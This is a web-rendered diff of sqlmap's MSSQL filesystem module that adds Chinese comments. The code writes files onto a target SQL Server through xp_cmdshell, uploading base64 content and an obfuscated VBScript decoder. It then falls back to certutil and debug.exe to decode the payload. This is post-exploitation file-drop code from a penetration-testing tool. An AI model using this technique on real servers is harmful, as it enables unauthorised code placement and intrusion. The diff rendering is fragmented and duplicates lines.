					        randFile  =  " tmpf %s .txt "  %  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
					        randFilePath  =  " %s \\ %s "  %  ( tmpPath ,  randFile ) 
 
			
		
	
		
			
				
					        randVbs  =  " tmps %s .vbs "  %  randomStr ( lowercase = True )  # 生成随机的 VBScript 文件名  
 
			
		
	
		
			
				
					        randFile  =  " tmpf %s .txt "  %  randomStr ( lowercase = True )  # 生成随机的临时文件名  
 
			
		
	
		
			
				
					        randFilePath  =  " %s \\ %s "  %  ( tmpPath ,  randFile )  # 构建临时文件路径  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 构建 VBScript 脚本 
 
			
		
	
		
			
				
					        vbs  =  """ Qvz vachgSvyrCngu, bhgchgSvyrCngu 
 
			
		
	
		
			
				
					        vachgSvyrCngu  =  " %f " 
 
			
		
	
		
			
				
					        bhgchgSvyrCngu  =  " %f " 
 
			
		
	
	
		
			
				
					
						
							
								 
						
						
							
								 
						
						
					 
				
				@ -334,18 +360,17 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					        Raq  Shapgvba """ 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 
 
			
		
	
		
			
				
					        vbs  =  rot13 ( vbs ) 
 
			
		
	
		
			
				
					        vbs  =  vbs . replace ( "      " ,  " " ) 
 
			
		
	
		
			
				
					        encodedFileContent  =  encodeBase64 ( localFileContent ,  binary = False ) 
 
			
		
	
		
			
				
					        vbs  =  rot13 ( vbs )  # 对 VBScript 脚本进行 ROT13 编码  
 
			
		
	
		
			
				
					        vbs  =  vbs . replace ( "      " ,  " " )  # 移除多余空格  
 
			
		
	
		
			
				
					        encodedFileContent  =  encodeBase64 ( localFileContent ,  binary = False )  # 将文件内容进行 Base64 编码  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " uploading the file base64-encoded content to  %s , please wait.. "  %  randFilePath ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( encodedFileContent ,  tmpPath ,  randFile ) 
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( encodedFileContent ,  tmpPath ,  randFile )  # 使用 xp_cmdshell 将 Base64 编码后的文件内容写入到服务器 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " uploading a visual basic decoder stub  %s \\ %s , please wait.. "  %  ( tmpPath ,  randVbs ) ) 
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( vbs ,  tmpPath ,  randVbs )  # 使用 xp_cmdshell 将 VBScript 脚本写入到服务器 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( vbs ,  tmpPath ,  randVbs ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 执行 VBScript 脚本,将 Base64 编码后的文件内容解码并写入到目标文件 
 
			
		
	
		
			
				
					        commands  =  ( 
 
			
		
	
		
			
				
					            " cd  \" %s \" "  %  tmpPath , 
 
			
		
	
		
			
				
					            " cscript //nologo  %s "  %  randVbs , 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -355,26 +380,28 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . execCmd ( "  &  " . join ( command  for  command  in  commands ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 _stackedWriteFileCertutilExe 方法,用于使用 certutil.exe 写入文件内容 
 
			
		
	
		
			
				
					    def  _stackedWriteFileCertutilExe ( self ,  tmpPath ,  localFile ,  localFileContent ,  remoteFile ,  fileType ) : 
 
			
		
	
		
			
				
					        infoMsg  =  " using certutil.exe to write the  %s   "  %  fileType 
 
			
		
	
		
			
				
					        infoMsg  + =  " file content to file  ' %s ' , please wait.. "  %  remoteFile 
 
			
		
	
		
			
				
					        logger . info ( infoMsg ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        chunkMaxSize  =  500 
 
			
		
	
		
			
				
					        chunkMaxSize  =  500  # 设置最大 chunk 大小  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        randFile  =  " tmpf %s .txt "  %  randomStr ( lowercase = True ) 
 
			
		
	
		
			
				
					        randFilePath  =  " %s \\ %s "  %  ( tmpPath ,  randFile ) 
 
			
		
	
		
			
				
					        randFile  =  " tmpf %s .txt "  %  randomStr ( lowercase = True )  # 生成随机的文件名  
 
			
		
	
		
			
				
					        randFilePath  =  " %s \\ %s "  %  ( tmpPath ,  randFile )  # 构建文件路径  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        encodedFileContent  =  encodeBase64 ( localFileContent ,  binary = False ) 
 
			
		
	
		
			
				
					        encodedFileContent  =  encodeBase64 ( localFileContent ,  binary = False )  # 将文件内容进行 Base64 编码  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        splittedEncodedFileContent  =  ' \n ' . join ( [ encodedFileContent [ i : i  +  chunkMaxSize ]  for  i  in  xrange ( 0 ,  len ( encodedFileContent ) ,  chunkMaxSize ) ] ) 
 
			
		
	
		
			
				
					        splittedEncodedFileContent  =  ' \ 
 
			
		
	
		
			
				
					' .join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) # 分块 Base64 编码文件内容  
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " uploading the file base64-encoded content to  %s , please wait.. "  %  randFilePath ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( splittedEncodedFileContent ,  tmpPath ,  randFile ) 
 
			
		
	
		
			
				
					        self . xpCmdshellWriteFile ( splittedEncodedFileContent ,  tmpPath ,  randFile )  # 使用 xp_cmdshell 将分块 Base64 编码后的文件内容写入到服务器 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        logger . debug ( " decoding the file to  %s .. "  %  remoteFile ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 执行 certutil.exe 命令,将 Base64 编码后的文件内容解码并写入到目标文件 
 
			
		
	
		
			
				
					        commands  =  ( 
 
			
		
	
		
			
				
					            " cd  \" %s \" "  %  tmpPath , 
 
			
		
	
		
			
				
					            " certutil -f -decode  %s   %s "  %  ( randFile ,  remoteFile ) , 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -383,6 +410,7 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . execCmd ( "  &  " . join ( command  for  command  in  commands ) ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					    # 定义 stackedWriteFile 方法,用于使用堆叠查询写入文件 
 
			
		
	
		
			
				
					    def  stackedWriteFile ( self ,  localFile ,  remoteFile ,  fileType ,  forceCheck = False ) : 
 
			
		
	
		
			
				
					        # NOTE: this is needed here because we use xp_cmdshell extended 
 
			
		
	
		
			
				
					        # procedure to write a file on the back-end Microsoft SQL Server 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -390,15 +418,16 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					        self . initEnv ( ) 
 
			
		
	
		
			
				
					        self . getRemoteTempPath ( ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        tmpPath  =  posixToNtSlashes ( conf . tmpPath ) 
 
			
		
	
		
			
				
					        remoteFile  =  posixToNtSlashes ( remoteFile ) 
 
			
		
	
		
			
				
					        tmpPath  =  posixToNtSlashes ( conf . tmpPath )  # 获取临时路径并转换为 NT 路径  
 
			
		
	
		
			
				
					        remoteFile  =  posixToNtSlashes ( remoteFile )  # 将远程文件名转换为 NT 路径  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        checkFile ( localFile ) 
 
			
		
	
		
			
				
					        localFileContent  =  open ( localFile ,  " rb " ) . read ( ) 
 
			
		
	
		
			
				
					        checkFile ( localFile )  # 检查本地文件是否存在  
 
			
		
	
		
			
				
					        localFileContent  =  open ( localFile ,  " rb " ) . read ( )  # 读取本地文件内容  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        self . _stackedWriteFilePS ( tmpPath ,  localFileContent ,  remoteFile ,  fileType ) 
 
			
		
	
		
			
				
					        written  =  self . askCheckWrittenFile ( localFile ,  remoteFile ,  forceCheck ) 
 
			
		
	
		
			
				
					        self . _stackedWriteFilePS ( tmpPath ,  localFileContent ,  remoteFile ,  fileType )  # 尝试使用 PowerShell 写入文件  
 
			
		
	
		
			
				
					        written  =  self . askCheckWrittenFile ( localFile ,  remoteFile ,  forceCheck )  # 询问是否成功写入  
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 如果 PowerShell 写入失败,则尝试使用 VBScript 写入文件 
 
			
		
	
		
			
				
					        if  written  is  False : 
 
			
		
	
		
			
				
					            message  =  " do you want to try to upload the file with  " 
 
			
		
	
		
			
				
					            message  + =  " the custom Visual Basic script technique? [Y/n]  " 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -407,6 +436,7 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					                self . _stackedWriteFileVbs ( tmpPath ,  localFileContent ,  remoteFile ,  fileType ) 
 
			
		
	
		
			
				
					                written  =  self . askCheckWrittenFile ( localFile ,  remoteFile ,  forceCheck ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 如果 VBScript 写入失败,则尝试使用 debug.exe 写入文件 
 
			
		
	
		
			
				
					        if  written  is  False : 
 
			
		
	
		
			
				
					            message  =  " do you want to try to upload the file with  " 
 
			
		
	
		
			
				
					            message  + =  " the built-in debug.exe technique? [Y/n]  " 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -415,6 +445,7 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					                self . _stackedWriteFileDebugExe ( tmpPath ,  localFile ,  localFileContent ,  remoteFile ,  fileType ) 
 
			
		
	
		
			
				
					                written  =  self . askCheckWrittenFile ( localFile ,  remoteFile ,  forceCheck ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        # 如果 debug.exe 写入失败,则尝试使用 certutil.exe 写入文件 
 
			
		
	
		
			
				
					        if  written  is  False : 
 
			
		
	
		
			
				
					            message  =  " do you want to try to upload the file with  " 
 
			
		
	
		
			
				
					            message  + =  " the built-in certutil.exe technique? [Y/n]  " 
 
			
		
	
	
		
			
				
					
						
						
						
							
								 
						
					 
				
				@ -423,4 +454,4 @@ class Filesystem(GenericFilesystem):
 
			
		
	
		
			
				
					                self . _stackedWriteFileCertutilExe ( tmpPath ,  localFile ,  localFileContent ,  remoteFile ,  fileType ) 
 
			
		
	
		
			
				
					                written  =  self . askCheckWrittenFile ( localFile ,  remoteFile ,  forceCheck ) 
 
			
		
	
		
			
				
					
 
			
		
	
		
			
				
					        return  written 
 
			
		
	
		
			
				
					        return  written  # 返回是否成功写入